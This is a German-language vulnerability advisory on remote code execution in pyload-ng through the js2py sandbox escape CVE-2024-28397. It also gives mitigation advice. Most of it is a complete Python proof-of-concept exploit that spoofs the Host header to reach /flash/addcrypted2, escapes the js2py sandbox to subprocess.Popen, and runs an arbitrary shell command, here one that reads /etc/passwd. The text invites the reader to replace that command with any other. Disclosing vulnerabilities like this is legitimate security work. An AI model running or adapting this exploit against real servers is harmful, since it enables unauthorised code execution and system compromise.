
Pyload RCE mit js2py-Sandbox-Escape
Pyload RCE mit js2py Sandbox-Escape
Jedes pyload-ng, das unter python3.11 oder niedriger läuft, ist anfällig für RCE. Ein Angreifer kann eine Anfrage mit einem beliebigen Shell-Befehl senden, und der Opfer-Server führt diesen sofort aus.
Aktualisieren Sie auf die neueste Version von pyload-ng oder führen Sie pyload einfach mit python3.12 oder höher aus.
js2py hat eine Schwachstelle (Sandbox-Escape), die als CVE-2024-28397 zugewiesen ist und die vom /flash/addcrypted2 API-Endpunkt von pyload-ng verwendet wird. Obwohl dieser Endpunkt so konzipiert ist, dass er nur Verbindungen von localhost akzeptiert, können wir diese Einschränkung mit einem HTTP-Header umgehen und so auf diese API zugreifen und RCE erreichen.
Der PoC ist unten aufgeführt; Sie können den darin ausgeführten Shell-Befehl ändern:
import socket
import base64
from urllib.parse import quote
host, port = input("host: "), int(input("port: "))
payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj
hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
return n11
}
"""
crypted_b64 = base64.b64encode(b"1234").decode()
data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"
request = f"""\
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}
{data}
""".encode().replace(b"\n", b"\r\n")
def main():
s = socket.socket()
s.connect((host, port))
s.send(request)
response = s.recv(1024).decode()
print(response)
if __name__ == "__main__":
main()
Jeder, der die neueste Version (<=0.5.0b3.dev85) von pyload-ng unter python3.11 oder niedriger ausführt. pyload-ng verwendet js2py nicht für python3.12 oder höher.